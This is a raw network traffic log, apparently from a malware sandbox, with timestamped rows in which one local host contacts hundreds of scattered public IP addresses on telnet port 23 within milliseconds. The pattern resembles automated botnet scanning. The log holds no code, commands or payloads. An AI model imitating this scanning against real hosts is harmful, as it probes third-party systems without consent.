Dec 3, 2024 21:47:22.680018902 CET	80	51992	194.47.94.45	192.168.2.13
Dec 3, 2024 21:47:22.680180073 CET	51992	80	192.168.2.13	194.47.94.45
Dec 3, 2024 21:47:23.081120968 CET	40955	23	192.168.2.13	199.141.29.197
Dec 3, 2024 21:47:23.081120968 CET	40955	23	192.168.2.13	34.210.178.7
Dec 3, 2024 21:47:23.081126928 CET	40955	23	192.168.2.13	84.218.50.70
Dec 3, 2024 21:47:23.081130028 CET	40955	23	192.168.2.13	23.197.79.26
Dec 3, 2024 21:47:23.081223011 CET	40955	23	192.168.2.13	167.70.21.246
Dec 3, 2024 21:47:23.081226110 CET	40955	23	192.168.2.13	43.99.84.63
Dec 3, 2024 21:47:23.081226110 CET	40955	23	192.168.2.13	218.167.182.154
Dec 3, 2024 21:47:23.081226110 CET	40955	23	192.168.2.13	192.105.81.173
Dec 3, 2024 21:47:23.081226110 CET	40955	23	192.168.2.13	169.186.76.182
Dec 3, 2024 21:47:23.081223011 CET	40955	23	192.168.2.13	156.254.170.22
Dec 3, 2024 21:47:23.081226110 CET	40955	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:23.081223011 CET	40955	23	192.168.2.13	37.25.71.45
Dec 3, 2024 21:47:23.081223011 CET	40955	23	192.168.2.13	170.42.28.214
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	60.73.255.250
Dec 3, 2024 21:47:23.081223011 CET	40955	23	192.168.2.13	146.153.47.191
Dec 3, 2024 21:47:23.081231117 CET	40955	23	192.168.2.13	121.34.159.219
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	178.90.53.135
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	25.158.72.231
Dec 3, 2024 21:47:23.081231117 CET	40955	23	192.168.2.13	23.186.252.78
Dec 3, 2024 21:47:23.081231117 CET	40955	23	192.168.2.13	82.16.186.186
Dec 3, 2024 21:47:23.081231117 CET	40955	23	192.168.2.13	216.212.196.230
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	175.247.55.142
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	178.34.211.147
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	19.80.3.128
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	68.252.147.39
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	38.63.8.234
Dec 3, 2024 21:47:23.081229925 CET	40955	23	192.168.2.13	44.60.205.233
Dec 3, 2024 21:47:23.081238985 CET	40955	23	192.168.2.13	67.218.64.71
Dec 3, 2024 21:47:23.081238985 CET	40955	23	192.168.2.13	89.254.166.46
Dec 3, 2024 21:47:23.081238985 CET	40955	23	192.168.2.13	109.198.207.218
Dec 3, 2024 21:47:23.081252098 CET	40955	23	192.168.2.13	62.124.111.205
Dec 3, 2024 21:47:23.081252098 CET	40955	23	192.168.2.13	31.178.176.234
Dec 3, 2024 21:47:23.081252098 CET	40955	23	192.168.2.13	206.48.126.221
Dec 3, 2024 21:47:23.081252098 CET	40955	23	192.168.2.13	48.236.76.173
Dec 3, 2024 21:47:23.081252098 CET	40955	23	192.168.2.13	167.235.6.156
Dec 3, 2024 21:47:23.081286907 CET	40955	23	192.168.2.13	43.84.8.246
Dec 3, 2024 21:47:23.081286907 CET	40955	23	192.168.2.13	83.212.235.239
Dec 3, 2024 21:47:23.081286907 CET	40955	23	192.168.2.13	73.150.150.92
Dec 3, 2024 21:47:23.081286907 CET	40955	23	192.168.2.13	92.116.202.160
Dec 3, 2024 21:47:23.081286907 CET	40955	23	192.168.2.13	79.237.116.3
Dec 3, 2024 21:47:23.081286907 CET	40955	23	192.168.2.13	129.154.32.145
Dec 3, 2024 21:47:23.081302881 CET	40955	23	192.168.2.13	128.70.76.96
Dec 3, 2024 21:47:23.081302881 CET	40955	23	192.168.2.13	185.195.98.112
Dec 3, 2024 21:47:23.081302881 CET	40955	23	192.168.2.13	207.107.124.204
Dec 3, 2024 21:47:23.081302881 CET	40955	23	192.168.2.13	111.202.32.216
Dec 3, 2024 21:47:23.081302881 CET	40955	23	192.168.2.13	107.5.91.234
Dec 3, 2024 21:47:23.081302881 CET	40955	23	192.168.2.13	85.109.68.206
Dec 3, 2024 21:47:23.081307888 CET	40955	23	192.168.2.13	102.57.90.23
Dec 3, 2024 21:47:23.081309080 CET	40955	23	192.168.2.13	137.135.19.123
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	164.49.1.105
Dec 3, 2024 21:47:23.081309080 CET	40955	23	192.168.2.13	202.57.148.50
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	42.224.59.35
Dec 3, 2024 21:47:23.081309080 CET	40955	23	192.168.2.13	189.138.25.130
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	121.175.166.141
Dec 3, 2024 21:47:23.081309080 CET	40955	23	192.168.2.13	100.193.176.188
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	95.30.90.130
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	73.202.143.112
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	165.31.93.83
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	212.188.118.114
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	190.60.129.109
Dec 3, 2024 21:47:23.081309080 CET	40955	23	192.168.2.13	120.97.109.249
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	58.10.32.234
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	223.52.63.81
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	120.177.199.3
Dec 3, 2024 21:47:23.081321955 CET	40955	23	192.168.2.13	163.93.63.211
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	43.218.89.25
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	44.76.130.108
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	76.222.202.100
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	47.124.85.67
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	203.13.56.211
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	13.88.44.44
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	116.4.95.243
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	205.77.181.115
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	48.138.15.171
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	85.41.192.208
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	78.208.88.101
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	111.202.25.61
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	110.101.188.117
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	146.96.120.249
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	86.141.68.53
Dec 3, 2024 21:47:23.081310034 CET	40955	23	192.168.2.13	65.20.250.98
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	151.167.190.41
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	156.3.26.46
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	59.31.82.31
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	176.58.39.237
Dec 3, 2024 21:47:23.081310987 CET	40955	23	192.168.2.13	116.82.186.218
Dec 3, 2024 21:47:23.081311941 CET	40955	23	192.168.2.13	73.121.163.115
Dec 3, 2024 21:47:23.081347942 CET	40955	23	192.168.2.13	139.131.201.211
Dec 3, 2024 21:47:23.081347942 CET	40955	23	192.168.2.13	200.227.14.108
Dec 3, 2024 21:47:23.081347942 CET	40955	23	192.168.2.13	203.242.231.33
Dec 3, 2024 21:47:23.081348896 CET	40955	23	192.168.2.13	192.111.204.213
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	25.164.222.102
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	43.12.107.69
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	114.4.10.139
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	171.132.7.179
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	136.220.193.225
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	60.211.107.105
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	65.255.137.202
Dec 3, 2024 21:47:23.081355095 CET	40955	23	192.168.2.13	167.127.151.129
Dec 3, 2024 21:47:23.081358910 CET	40955	23	192.168.2.13	151.169.1.233
Dec 3, 2024 21:47:23.081358910 CET	40955	23	192.168.2.13	77.150.49.183
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	169.148.25.89
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	222.245.71.79
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	177.155.4.72
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	166.201.1.251
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	46.27.173.105
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	208.22.71.107
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	39.143.165.162
Dec 3, 2024 21:47:23.081361055 CET	40955	23	192.168.2.13	130.78.111.4
Dec 3, 2024 21:47:23.081362963 CET	40955	23	192.168.2.13	199.64.27.95
Dec 3, 2024 21:47:23.081362963 CET	40955	23	192.168.2.13	122.7.187.27
Dec 3, 2024 21:47:23.081363916 CET	40955	23	192.168.2.13	14.198.39.135
Dec 3, 2024 21:47:23.081363916 CET	40955	23	192.168.2.13	34.135.145.37
Dec 3, 2024 21:47:23.081363916 CET	40955	23	192.168.2.13	142.112.9.102
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	223.251.228.17
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	58.75.2.127
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	14.64.106.58
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	93.200.251.211
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	70.244.158.229
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	145.40.74.248
Dec 3, 2024 21:47:23.081366062 CET	40955	23	192.168.2.13	157.162.211.227
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	98.130.77.184
Dec 3, 2024 21:47:23.081372023 CET	40955	23	192.168.2.13	121.249.9.33
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	140.23.141.112
Dec 3, 2024 21:47:23.081372023 CET	40955	23	192.168.2.13	179.87.82.0
Dec 3, 2024 21:47:23.081372023 CET	40955	23	192.168.2.13	135.184.212.101
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	166.161.169.70
Dec 3, 2024 21:47:23.081372023 CET	40955	23	192.168.2.13	134.122.102.226
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	205.169.85.208
Dec 3, 2024 21:47:23.081373930 CET	40955	23	192.168.2.13	212.129.115.208
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	153.193.151.60
Dec 3, 2024 21:47:23.081373930 CET	40955	23	192.168.2.13	141.240.167.14
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	172.242.229.84
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	63.85.109.172
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	41.218.148.227
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	84.132.153.233
Dec 3, 2024 21:47:23.081371069 CET	40955	23	192.168.2.13	49.227.24.32
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	153.150.154.64
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	97.148.75.20
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	103.40.146.80
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	206.39.113.124
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	220.25.90.29
Dec 3, 2024 21:47:23.081374884 CET	40955	23	192.168.2.13	111.62.55.64
Dec 3, 2024 21:47:23.081381083 CET	40955	23	192.168.2.13	50.89.163.252
Dec 3, 2024 21:47:23.081373930 CET	40955	23	192.168.2.13	206.137.158.200
Dec 3, 2024 21:47:23.081381083 CET	40955	23	192.168.2.13	197.228.140.90
Dec 3, 2024 21:47:23.081373930 CET	40955	23	192.168.2.13	169.173.250.217
Dec 3, 2024 21:47:23.081381083 CET	40955	23	192.168.2.13	46.195.73.240
Dec 3, 2024 21:47:23.081387043 CET	40955	23	192.168.2.13	18.177.17.114
Dec 3, 2024 21:47:23.081387043 CET	40955	23	192.168.2.13	37.142.75.123
Dec 3, 2024 21:47:23.081387043 CET	40955	23	192.168.2.13	103.103.211.192
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	86.246.2.64
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	53.195.133.4
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	108.132.162.51
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	177.202.85.102
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	169.99.144.123
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	223.189.152.239
Dec 3, 2024 21:47:23.081387997 CET	40955	23	192.168.2.13	36.89.237.206
Dec 3, 2024 21:47:23.081391096 CET	40955	23	192.168.2.13	204.6.232.188
Dec 3, 2024 21:47:23.081392050 CET	40955	23	192.168.2.13	131.69.104.137
Dec 3, 2024 21:47:23.081391096 CET	40955	23	192.168.2.13	193.223.1.71
Dec 3, 2024 21:47:23.081392050 CET	40955	23	192.168.2.13	120.68.214.173
Dec 3, 2024 21:47:23.081393957 CET	40955	23	192.168.2.13	143.198.156.5
Dec 3, 2024 21:47:23.081392050 CET	40955	23	192.168.2.13	209.192.39.107
Dec 3, 2024 21:47:23.081397057 CET	40955	23	192.168.2.13	175.198.245.216
Dec 3, 2024 21:47:23.081393957 CET	40955	23	192.168.2.13	133.179.252.62
Dec 3, 2024 21:47:23.081393957 CET	40955	23	192.168.2.13	85.155.85.249
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	149.55.32.224
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	93.146.111.102
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	4.16.129.44
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	88.52.249.160
Dec 3, 2024 21:47:23.081392050 CET	40955	23	192.168.2.13	199.237.47.28
Dec 3, 2024 21:47:23.081397057 CET	40955	23	192.168.2.13	51.143.61.172
Dec 3, 2024 21:47:23.081392050 CET	40955	23	192.168.2.13	68.180.249.15
Dec 3, 2024 21:47:23.081393957 CET	40955	23	192.168.2.13	95.209.188.47
Dec 3, 2024 21:47:23.081392050 CET	40955	23	192.168.2.13	78.1.53.9
Dec 3, 2024 21:47:23.081403017 CET	40955	23	192.168.2.13	151.249.78.58
Dec 3, 2024 21:47:23.081397057 CET	40955	23	192.168.2.13	200.215.55.149
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	84.63.243.27
Dec 3, 2024 21:47:23.081404924 CET	40955	23	192.168.2.13	70.63.34.81
Dec 3, 2024 21:47:23.081397057 CET	40955	23	192.168.2.13	134.85.130.218
Dec 3, 2024 21:47:23.081404924 CET	40955	23	192.168.2.13	135.244.131.99
Dec 3, 2024 21:47:23.081406116 CET	40955	23	192.168.2.13	73.241.190.239
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	212.96.41.156
Dec 3, 2024 21:47:23.081404924 CET	40955	23	192.168.2.13	115.116.56.84
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	128.124.71.66
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	13.178.219.5
Dec 3, 2024 21:47:23.081398964 CET	40955	23	192.168.2.13	131.203.79.54
Dec 3, 2024 21:47:23.081413031 CET	40955	23	192.168.2.13	164.37.246.5
Dec 3, 2024 21:47:23.081413984 CET	40955	23	192.168.2.13	153.23.254.176
Dec 3, 2024 21:47:23.081413984 CET	40955	23	192.168.2.13	134.75.75.147
Dec 3, 2024 21:47:23.081418991 CET	40955	23	192.168.2.13	223.188.147.48
Dec 3, 2024 21:47:23.081419945 CET	40955	23	192.168.2.13	92.88.124.135
Dec 3, 2024 21:47:23.081423998 CET	40955	23	192.168.2.13	97.190.103.3
Dec 3, 2024 21:47:23.081424952 CET	40955	23	192.168.2.13	60.126.32.247
Dec 3, 2024 21:47:23.081425905 CET	40955	23	192.168.2.13	191.214.41.98
Dec 3, 2024 21:47:23.081427097 CET	40955	23	192.168.2.13	70.5.234.220
Dec 3, 2024 21:47:23.081425905 CET	40955	23	192.168.2.13	85.61.132.164
Dec 3, 2024 21:47:23.081429005 CET	40955	23	192.168.2.13	51.156.143.111
Dec 3, 2024 21:47:23.081429005 CET	40955	23	192.168.2.13	141.93.15.223
Dec 3, 2024 21:47:23.081429005 CET	40955	23	192.168.2.13	59.126.255.108
Dec 3, 2024 21:47:23.081429005 CET	40955	23	192.168.2.13	219.134.173.218
Dec 3, 2024 21:47:23.081429958 CET	40955	23	192.168.2.13	176.245.21.48
Dec 3, 2024 21:47:23.081432104 CET	40955	23	192.168.2.13	187.164.118.115
Dec 3, 2024 21:47:23.081432104 CET	40955	23	192.168.2.13	86.172.127.95
Dec 3, 2024 21:47:23.081432104 CET	40955	23	192.168.2.13	150.70.90.106
Dec 3, 2024 21:47:23.081435919 CET	40955	23	192.168.2.13	107.31.94.215
Dec 3, 2024 21:47:23.081473112 CET	40955	23	192.168.2.13	96.147.195.183
Dec 3, 2024 21:47:23.081478119 CET	40955	23	192.168.2.13	87.248.153.49
Dec 3, 2024 21:47:23.081479073 CET	40955	23	192.168.2.13	70.76.245.32
Dec 3, 2024 21:47:23.081479073 CET	40955	23	192.168.2.13	81.83.217.44
Dec 3, 2024 21:47:23.081516981 CET	40955	23	192.168.2.13	47.195.149.7
Dec 3, 2024 21:47:23.081517935 CET	40955	23	192.168.2.13	102.71.196.251
Dec 3, 2024 21:47:23.081518888 CET	40955	23	192.168.2.13	203.214.121.141
Dec 3, 2024 21:47:23.081518888 CET	40955	23	192.168.2.13	99.250.252.104
Dec 3, 2024 21:47:23.081518888 CET	40955	23	192.168.2.13	167.60.154.149
Dec 3, 2024 21:47:23.081523895 CET	40955	23	192.168.2.13	204.211.146.55
Dec 3, 2024 21:47:23.081526041 CET	40955	23	192.168.2.13	27.21.93.16
Dec 3, 2024 21:47:23.081526041 CET	40955	23	192.168.2.13	162.29.8.219
Dec 3, 2024 21:47:23.081526041 CET	40955	23	192.168.2.13	167.254.57.198
Dec 3, 2024 21:47:23.081526995 CET	40955	23	192.168.2.13	210.20.33.214
Dec 3, 2024 21:47:23.081526041 CET	40955	23	192.168.2.13	84.111.44.167
Dec 3, 2024 21:47:23.081526041 CET	40955	23	192.168.2.13	177.47.25.210
Dec 3, 2024 21:47:23.081526995 CET	40955	23	192.168.2.13	5.135.98.159
Dec 3, 2024 21:47:23.081526041 CET	40955	23	192.168.2.13	154.174.19.244
Dec 3, 2024 21:47:23.081552029 CET	40955	23	192.168.2.13	83.161.53.56
Dec 3, 2024 21:47:23.081552029 CET	40955	23	192.168.2.13	112.153.167.71
Dec 3, 2024 21:47:23.081552029 CET	40955	23	192.168.2.13	101.24.152.6
Dec 3, 2024 21:47:23.081553936 CET	40955	23	192.168.2.13	92.112.75.255
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	133.81.215.71
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	169.2.223.231
Dec 3, 2024 21:47:23.081556082 CET	40955	23	192.168.2.13	51.164.174.154
Dec 3, 2024 21:47:23.081557989 CET	40955	23	192.168.2.13	186.68.249.111
Dec 3, 2024 21:47:23.081553936 CET	40955	23	192.168.2.13	60.49.143.195
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	140.22.134.88
Dec 3, 2024 21:47:23.081557989 CET	40955	23	192.168.2.13	59.53.179.4
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	34.189.100.84
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	198.41.95.27
Dec 3, 2024 21:47:23.081556082 CET	40955	23	192.168.2.13	151.61.172.21
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	1.215.97.3
Dec 3, 2024 21:47:23.081556082 CET	40955	23	192.168.2.13	18.228.188.254
Dec 3, 2024 21:47:23.081554890 CET	40955	23	192.168.2.13	160.151.59.84
Dec 3, 2024 21:47:23.081562042 CET	40955	23	192.168.2.13	110.64.144.175
Dec 3, 2024 21:47:23.081562042 CET	40955	23	192.168.2.13	98.84.129.171
Dec 3, 2024 21:47:23.081585884 CET	40955	23	192.168.2.13	94.21.247.83
Dec 3, 2024 21:47:23.081587076 CET	40955	23	192.168.2.13	133.11.77.98
Dec 3, 2024 21:47:23.081585884 CET	40955	23	192.168.2.13	183.70.179.13
Dec 3, 2024 21:47:23.081587076 CET	40955	23	192.168.2.13	47.6.189.232
Dec 3, 2024 21:47:23.081588030 CET	40955	23	192.168.2.13	195.196.8.104
Dec 3, 2024 21:47:23.081585884 CET	40955	23	192.168.2.13	71.199.121.106
Dec 3, 2024 21:47:23.081588030 CET	40955	23	192.168.2.13	174.131.45.9
Dec 3, 2024 21:47:23.081588984 CET	40955	23	192.168.2.13	69.33.213.110
Dec 3, 2024 21:47:23.081585884 CET	40955	23	192.168.2.13	106.36.158.197
Dec 3, 2024 21:47:23.081588984 CET	40955	23	192.168.2.13	120.163.121.68
Dec 3, 2024 21:47:23.081585884 CET	40955	23	192.168.2.13	62.200.4.113
Dec 3, 2024 21:47:23.081588984 CET	40955	23	192.168.2.13	24.160.88.183
Dec 3, 2024 21:47:23.081588984 CET	40955	23	192.168.2.13	139.61.65.72
Dec 3, 2024 21:47:23.081588984 CET	40955	23	192.168.2.13	213.214.74.215
Dec 3, 2024 21:47:23.081595898 CET	40955	23	192.168.2.13	164.103.137.159
Dec 3, 2024 21:47:23.081595898 CET	40955	23	192.168.2.13	119.204.117.182
Dec 3, 2024 21:47:23.081595898 CET	40955	23	192.168.2.13	13.178.160.187
Dec 3, 2024 21:47:23.081597090 CET	40955	23	192.168.2.13	92.9.102.175
Dec 3, 2024 21:47:23.081597090 CET	40955	23	192.168.2.13	45.139.94.229
Dec 3, 2024 21:47:23.081597090 CET	40955	23	192.168.2.13	174.204.143.195
Dec 3, 2024 21:47:23.081598043 CET	40955	23	192.168.2.13	70.178.143.47
Dec 3, 2024 21:47:23.081598043 CET	40955	23	192.168.2.13	211.22.131.210
Dec 3, 2024 21:47:23.081598043 CET	40955	23	192.168.2.13	90.199.119.184
Dec 3, 2024 21:47:23.081624985 CET	40955	23	192.168.2.13	57.216.226.150
Dec 3, 2024 21:47:23.081626892 CET	40955	23	192.168.2.13	198.196.72.59
Dec 3, 2024 21:47:23.081626892 CET	40955	23	192.168.2.13	185.164.133.218
Dec 3, 2024 21:47:23.081626892 CET	40955	23	192.168.2.13	136.196.70.255
Dec 3, 2024 21:47:23.081629038 CET	40955	23	192.168.2.13	98.154.104.62
Dec 3, 2024 21:47:23.081629992 CET	40955	23	192.168.2.13	46.190.204.114
Dec 3, 2024 21:47:23.081629038 CET	40955	23	192.168.2.13	160.228.239.193
Dec 3, 2024 21:47:23.081626892 CET	40955	23	192.168.2.13	153.134.116.107
Dec 3, 2024 21:47:23.081629038 CET	40955	23	192.168.2.13	46.229.38.21
Dec 3, 2024 21:47:23.081629992 CET	40955	23	192.168.2.13	87.188.110.245
Dec 3, 2024 21:47:23.081633091 CET	40955	23	192.168.2.13	212.247.197.22
Dec 3, 2024 21:47:23.081626892 CET	40955	23	192.168.2.13	79.174.200.172
Dec 3, 2024 21:47:23.081626892 CET	40955	23	192.168.2.13	188.33.216.59
Dec 3, 2024 21:47:23.081630945 CET	40955	23	192.168.2.13	216.224.97.220
Dec 3, 2024 21:47:23.081628084 CET	40955	23	192.168.2.13	196.44.122.117
Dec 3, 2024 21:47:23.081630945 CET	40955	23	192.168.2.13	24.209.193.233
Dec 3, 2024 21:47:23.081628084 CET	40955	23	192.168.2.13	42.24.191.239
Dec 3, 2024 21:47:23.081630945 CET	40955	23	192.168.2.13	151.125.190.29
Dec 3, 2024 21:47:23.081628084 CET	40955	23	192.168.2.13	144.249.157.103
Dec 3, 2024 21:47:23.081629038 CET	40955	23	192.168.2.13	158.141.224.171
Dec 3, 2024 21:47:23.081633091 CET	40955	23	192.168.2.13	25.251.107.119
Dec 3, 2024 21:47:23.081648111 CET	40955	23	192.168.2.13	128.175.6.56
Dec 3, 2024 21:47:23.081629038 CET	40955	23	192.168.2.13	175.231.63.232
Dec 3, 2024 21:47:23.081648111 CET	40955	23	192.168.2.13	84.183.0.67
Dec 3, 2024 21:47:23.081648111 CET	40955	23	192.168.2.13	140.252.130.116
Dec 3, 2024 21:47:23.081628084 CET	40955	23	192.168.2.13	183.5.108.144
Dec 3, 2024 21:47:23.081648111 CET	40955	23	192.168.2.13	73.79.201.84
Dec 3, 2024 21:47:23.081656933 CET	40955	23	192.168.2.13	87.46.81.164
Dec 3, 2024 21:47:23.081657887 CET	40955	23	192.168.2.13	196.195.232.206
Dec 3, 2024 21:47:23.081660986 CET	40955	23	192.168.2.13	206.10.77.136
Dec 3, 2024 21:47:23.081660986 CET	40955	23	192.168.2.13	194.199.208.95
Dec 3, 2024 21:47:23.081660986 CET	40955	23	192.168.2.13	78.104.110.74
Dec 3, 2024 21:47:23.081660986 CET	40955	23	192.168.2.13	110.186.229.119
Dec 3, 2024 21:47:23.081662893 CET	40955	23	192.168.2.13	123.27.255.196
Dec 3, 2024 21:47:23.081657887 CET	40955	23	192.168.2.13	48.191.237.27
Dec 3, 2024 21:47:23.081657887 CET	40955	23	192.168.2.13	59.51.149.169
Dec 3, 2024 21:47:23.081674099 CET	40955	23	192.168.2.13	43.169.49.89
Dec 3, 2024 21:47:23.081674099 CET	40955	23	192.168.2.13	134.27.210.51
Dec 3, 2024 21:47:23.081675053 CET	40955	23	192.168.2.13	132.243.155.49
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	206.103.9.167
Dec 3, 2024 21:47:23.081675053 CET	40955	23	192.168.2.13	105.206.55.201
Dec 3, 2024 21:47:23.081675053 CET	40955	23	192.168.2.13	184.58.157.155
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	154.168.90.157
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	163.45.77.19
Dec 3, 2024 21:47:23.081675053 CET	40955	23	192.168.2.13	212.236.201.131
Dec 3, 2024 21:47:23.081675053 CET	40955	23	192.168.2.13	167.207.200.90
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	20.226.65.244
Dec 3, 2024 21:47:23.081675053 CET	40955	23	192.168.2.13	98.125.21.174
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	52.144.118.202
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	113.163.115.196
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	188.151.60.186
Dec 3, 2024 21:47:23.081676006 CET	40955	23	192.168.2.13	130.133.13.128
Dec 3, 2024 21:47:23.081688881 CET	40955	23	192.168.2.13	175.234.211.151
Dec 3, 2024 21:47:23.081690073 CET	40955	23	192.168.2.13	122.111.35.92
Dec 3, 2024 21:47:23.081691027 CET	40955	23	192.168.2.13	176.162.122.27
Dec 3, 2024 21:47:23.081692934 CET	40955	23	192.168.2.13	5.184.141.181
Dec 3, 2024 21:47:23.081691027 CET	40955	23	192.168.2.13	166.148.161.39
Dec 3, 2024 21:47:23.081692934 CET	40955	23	192.168.2.13	182.82.43.95
Dec 3, 2024 21:47:23.081705093 CET	40955	23	192.168.2.13	173.168.183.206
Dec 3, 2024 21:47:23.081707001 CET	40955	23	192.168.2.13	57.118.246.180
Dec 3, 2024 21:47:23.081708908 CET	40955	23	192.168.2.13	219.23.104.134
Dec 3, 2024 21:47:23.081712008 CET	40955	23	192.168.2.13	54.205.186.212
Dec 3, 2024 21:47:23.081712961 CET	40955	23	192.168.2.13	150.154.31.208
Dec 3, 2024 21:47:23.081712008 CET	40955	23	192.168.2.13	221.181.84.26
Dec 3, 2024 21:47:23.081712961 CET	40955	23	192.168.2.13	145.46.253.38
Dec 3, 2024 21:47:23.081712008 CET	40955	23	192.168.2.13	205.71.155.134
Dec 3, 2024 21:47:23.081713915 CET	40955	23	192.168.2.13	72.149.5.167
Dec 3, 2024 21:47:23.081712961 CET	40955	23	192.168.2.13	48.55.230.107
Dec 3, 2024 21:47:23.081715107 CET	40955	23	192.168.2.13	79.223.61.46
Dec 3, 2024 21:47:23.081715107 CET	40955	23	192.168.2.13	74.109.94.162
Dec 3, 2024 21:47:23.081722975 CET	40955	23	192.168.2.13	13.253.189.202
